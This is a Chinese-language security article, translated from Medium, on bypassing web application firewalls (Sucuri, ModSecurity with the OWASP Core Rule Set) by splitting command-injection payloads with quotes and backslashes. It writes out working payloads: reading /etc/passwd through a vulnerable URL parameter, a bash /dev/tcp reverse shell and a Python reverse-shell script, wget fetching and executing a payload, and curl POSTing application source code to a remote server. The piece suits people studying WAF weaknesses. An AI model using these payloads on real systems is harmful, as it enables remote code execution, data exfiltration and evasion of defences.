原標(biāo)題:Web應(yīng)用程序防火墻(WAF)bypass技術(shù)(二)
在Web應(yīng)用程序防火墻(WAF)bypass技術(shù)的第一部分中,我們已經(jīng)看到了如何使用通配符(主要是使用問號(hào)通配符)繞過WAF規(guī)則。顯然,還有很多其他方法可以繞過WAF規(guī)則集,我認(rèn)為每次攻擊都有其特定的規(guī)避技術(shù)。
例如:在SQL注入的payload內(nèi)使用注釋語法可以繞過許多過濾器。也就是說,不使用union+select,而是使用 /?id=1+union+select+1,2,3– 這類語法。
這是一項(xiàng)很棒的技術(shù),當(dāng)目標(biāo)WAF允許星號(hào)*和連接字符時(shí),就能夠起作用。報(bào)告這應(yīng)該僅適用于SQL注入,不能用于利用本地文件包含或遠(yuǎn)程命令執(zhí)行。對(duì)于某些特定場(chǎng)景,對(duì)于需要保護(hù)Web應(yīng)用程序免受遠(yuǎn)程命令執(zhí)行攻擊的WAF來說,這是一個(gè)“真正的噩夢(mèng)”…這就是連接字符串。
連接
在許多編程語言中,字符串連接符是一種運(yùn)算符。+(加號(hào))經(jīng)常被重載表示為字符串參數(shù)連接:”Hello, ” + “World”相當(dāng)于”Hello, World”。在其他語言中,有一個(gè)單獨(dú)的運(yùn)算符“.”能對(duì)字符串的隱式類型進(jìn)行轉(zhuǎn)換,也能進(jìn)行連接,例如Perl、PHP與Lua等。
$ php -r 'echo "hello"." world"."n";' hello world $ python -c 'print "hello" + " world"' hello world
但如果你以為這就是連接字符串的唯一途徑,那就大錯(cuò)特錯(cuò)了。
在一些語言中,例如C,C ++,Python以及可以在Bash中找到的腳本語言/語法,有一種叫做字符串文字連接的東西,這意味著相鄰的字符串文字是連接的,不需要任何運(yùn)算符,例如”Hello, ” “World”相當(dāng)于”Hello, World”。這不僅適用于printf和echo命令,而且適用于整個(gè)bash語法。
以下每個(gè)命令都具有相同的結(jié)果:
# echo test # echo 't'e's't # echo 'te'st # echo 'te'st'' # echo 'te'''st'' # python -c 'print "te" "st"'
發(fā)生這種情況是因?yàn)樗邢噜彽淖址淖衷贐ash中是連接在一起,實(shí)際上’te’s't’由三個(gè)字符串組成:字符串te,字符串s和字符串t。此語法可用于繞過基于“匹配短語” 的過濾器(或WAF規(guī)則)(例如,ModSecurity中的pm運(yùn)算符https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#pm)。
SecRule ARGS “@pm passwd shadow groups”…ModSecurity中的規(guī)則將阻止包含passwd或shadow的所有請(qǐng)求。但是,如果我們將它們轉(zhuǎn)換為pa’ss’wd或者sh’ad’ow呢?就像我們之前看到的SQL注入的語法一樣,它使用注釋拆分來查詢,在這里我們也可以使用單引號(hào)’拆分文件名和系統(tǒng)命令,并創(chuàng)建連接字符串組。當(dāng)然,可以使用連接字符串作為任何命令的參數(shù),不僅僅是允許連接路徑甚至執(zhí)行Bash命令的時(shí)候才能使用。
以下命令的幾個(gè)示例:
$ /bin/cat /etc/passwd $ /bin/cat /e'tc'/pa'ss'wd $ /bin/c'at' /e'tc'/pa'ss'wd $ /b'i'n/c'a't /e't'c/p'a's's'w'd'
現(xiàn)在,假設(shè)已經(jīng)在應(yīng)用程序的url參數(shù)上發(fā)現(xiàn)了遠(yuǎn)程命令執(zhí)行。如果有一條規(guī)則阻止像“etc、passwd、shadow”等這樣的短語,你可以用這樣的東西繞過它:
curl …/?url=;+cat+/e’t'c/pa’ss’wd
開始測(cè)試下,我將使用以下PHP代碼,以便像往常一樣在Sucuri WAF和ModSecurity進(jìn)行比較測(cè)試,使用的PHP代碼是:
首先,我嘗試使用這個(gè)PHP應(yīng)用程序,以獲得google.com的響應(yīng)體,而無需編碼參數(shù)的值:
curl -v ‘http://test1.unicresit.it/?zzz=google.com‘
它按預(yù)期工作了,google.com 返回302頁面說我應(yīng)該關(guān)注位置www.google.de(谷歌正確地將我在法蘭克福的服務(wù)器地理定位):
現(xiàn)在,為了利用這個(gè)易受攻擊的應(yīng)用程序,我可以做很多事情,其中一件事就是用分號(hào);分隔并嘗試執(zhí)行其他系統(tǒng)命令。
當(dāng)我嘗試讀取/etc/passwd文件時(shí),Sucuri阻止了…例如:curl -v ‘http://test1.unicresit.it/?zzz=;+cat+/etc/passwd’
由于以下原因被Sucuri WAF阻止:“An attempted RFI/LFI was detected and blocked”我認(rèn)為(只是一個(gè)假設(shè),因?yàn)橛脩艨床坏絊ucuri WAF規(guī)則的細(xì)節(jié))Sucuri“RFI/LFI檢測(cè)”規(guī)則使用了我們之前見過的“匹配短語”之類的東西,如列表常見的路徑和文件名/etc/passwd等。由于WAF設(shè)置的問題,我可以使用兩個(gè)單引號(hào)繞過這個(gè)規(guī)則!
payload:curl -v “http://test1.unicresit.it/?zzz=;+cat+/e’tc/pass’wd”
目前能讀取passwd文件,但有一個(gè)問題是無法使用netcat,因?yàn)樗鼪]有安裝在目標(biāo)系統(tǒng)上。
$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls" /bin/ls $ curl -s "http://test1.unicresit.it/?zzz=;+which+nc" $
最簡(jiǎn)單的方法(幾乎沒有可以被WAF阻止的特殊字符)是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但遺憾的是太復(fù)雜而無法繞過所有檢測(cè)此payload特征的規(guī)則集,這意味著使用某些PHP、Perl或Python代碼來獲取反彈shell會(huì)很困難。由于這個(gè)原因,Sucuri WAF阻止了我的嘗試:Obfuscated attack payload detected。
可以嘗試使用或上傳Python反彈shell腳本到可寫目錄,而不是通過直接在易受攻擊的參數(shù)上執(zhí)行來獲取shell。首先,準(zhǔn)備python代碼:使用curl或wget來下載python代碼,vi shell.py
#!/usr/bin/python import socket,subprocess,os; s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("",2375)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
然后像往常一樣使用python -c SimpleHTTPServer或php -S等開啟公網(wǎng)可訪問的Web服務(wù)器…然后從目標(biāo)網(wǎng)站下載shell.py文件,我使用了以下語法:
curl -v '.../?zzz=:2375/shell.py+-o+/tmp/shell.py'
Sucuri WAF沒有阻止這個(gè)請(qǐng)求,但通常ModSecurity會(huì)阻止,如果你想確保繞過所有“匹配短語”規(guī)則類型,你可以使用wget + ip-to-long conversion + string連接:
.../?zzz=wg'e't 168431108 -P tmp .../?zzz=c'hm'od 777 -R tmp .../?zzz=/t'm'p/index.html
第一個(gè)命令用于wget下載shell文件到/tmp/目錄。第二個(gè)使用chmod使其可執(zhí)行,第三個(gè)是執(zhí)行文件。正如你所看到的,wget命令請(qǐng)求特定的文件,所以下載的文件被命名為index.html??梢酝ㄟ^netcat的nc命令使用手工編寫響應(yīng)頭和響應(yīng)體來公開這個(gè)文件,如下所示:
現(xiàn)在開始我的困難之旅。。。
Bypass ModSecurity and the OWASP Core規(guī)則集
可能你認(rèn)為此payload可以繞過OWASP核心規(guī)則集,就像我們?cè)谥拔恼耓因?yàn)槲恼逻€未發(fā)布,審核可以在這里補(bǔ)充]中看到的那樣… 但基本上不會(huì)成功。這是因?yàn)橛袃蓚€(gè)叫做normalizePath和cmdLine的小東西。在ModSecurity中,它們被稱為“轉(zhuǎn)換函數(shù)”,用于在輸入數(shù)據(jù)時(shí)進(jìn)行匹配(例如,運(yùn)算符執(zhí)行)之前更改輸入數(shù)據(jù)。輸入數(shù)據(jù)永遠(yuǎn)不會(huì)被修改,因?yàn)镸odSecurity將創(chuàng)建數(shù)據(jù)的副本,對(duì)其進(jìn)行轉(zhuǎn)換,然后針對(duì)結(jié)果運(yùn)行運(yùn)算符。
normalizePath:它從輸入字符串中刪除多個(gè)目錄自引用和目錄后引用(在開頭時(shí)有輸入除外)的斜杠,。
cmdLine:由Marc Stern開發(fā),這個(gè)轉(zhuǎn)換函數(shù)通過規(guī)范參數(shù)值并觸發(fā)所有規(guī)則(如LFI,RCE,Unix命令等)來避免使用轉(zhuǎn)義序列…例如/e’t'c/pa’ss’wd不會(huì)轉(zhuǎn)換為/etc/passwd。它做了以下很多事情:
1 刪除所有反斜杠
2 刪除所有雙引號(hào) “
3 刪除所有單引號(hào) ‘
4 刪除所有插入符號(hào) ^
5 在斜杠前刪除空格 /
6 在打開括號(hào)之前刪除空格 (
7 將所有逗號(hào),和分號(hào);替換為空格
8 將所有多個(gè)空格(包括制表符,換行符等)替換為一個(gè)空格
9 將所有字符轉(zhuǎn)換為小寫
由于cmdLine轉(zhuǎn)換函數(shù),所有使用連接字符串利用RCE的嘗試都被規(guī)則932160阻止:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )" "o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase" "ruleId":"932160"
目前我無法讀取/etc/passwd,但不要失望,OWASP核心規(guī)則集發(fā)現(xiàn)公共文件,路徑和命令時(shí)會(huì)阻止它們,但它不能對(duì)目標(biāo)應(yīng)用程序的源代碼執(zhí)行相同的操作。我不能使用分號(hào);字符(這意味著我不能破壞curl語法)但我可以使用curl的exfiltrate功能將文件發(fā)送到我的遠(yuǎn)程服務(wù)器。這將適用于從0到3的防護(hù)級(jí)別。
訣竅是通過POST HTTP請(qǐng)求將文件發(fā)送到遠(yuǎn)程服務(wù)器,curl可以使用data參數(shù)來執(zhí)行此操作-d:
curl -d @/
以下的請(qǐng)求,已將@url編碼為%40:
curl “…/?zzz=-d+%40/usr/local/…/index.php+1.1.1.1:1337″
如果目標(biāo)的防護(hù)等級(jí)設(shè)置為4,則所有這些都不會(huì)起作用,因?yàn)閜ayload包含連接字符,正斜杠等字符…好消息是在生產(chǎn)環(huán)境中很少發(fā)現(xiàn)防護(hù)等級(jí)是4。
反斜杠是新的單引號(hào):)
同樣的技術(shù)也可以使用反斜杠字符,反斜杠不是連接字符串,而只是一個(gè)轉(zhuǎn)義序列:
目前只寫到這里了,感謝大家的閱讀。
另外附上一些有用的參考文章:
1. Bypass a WAF by Positive Technology
https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf
2. Web Application Firewalls: Attacking detection logic mechanisms by Vladimir Ivanov (blackhat USA 2016)
https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf
3. SQLi bypassing WAF on OWASP by Dhiraj Mishra
https://www.owasp.org/index.php/SQLInjectionBypassingWAF
*參考來源:medium,生如夏花編譯,轉(zhuǎn)載請(qǐng)注明來自 FreeBuf.COM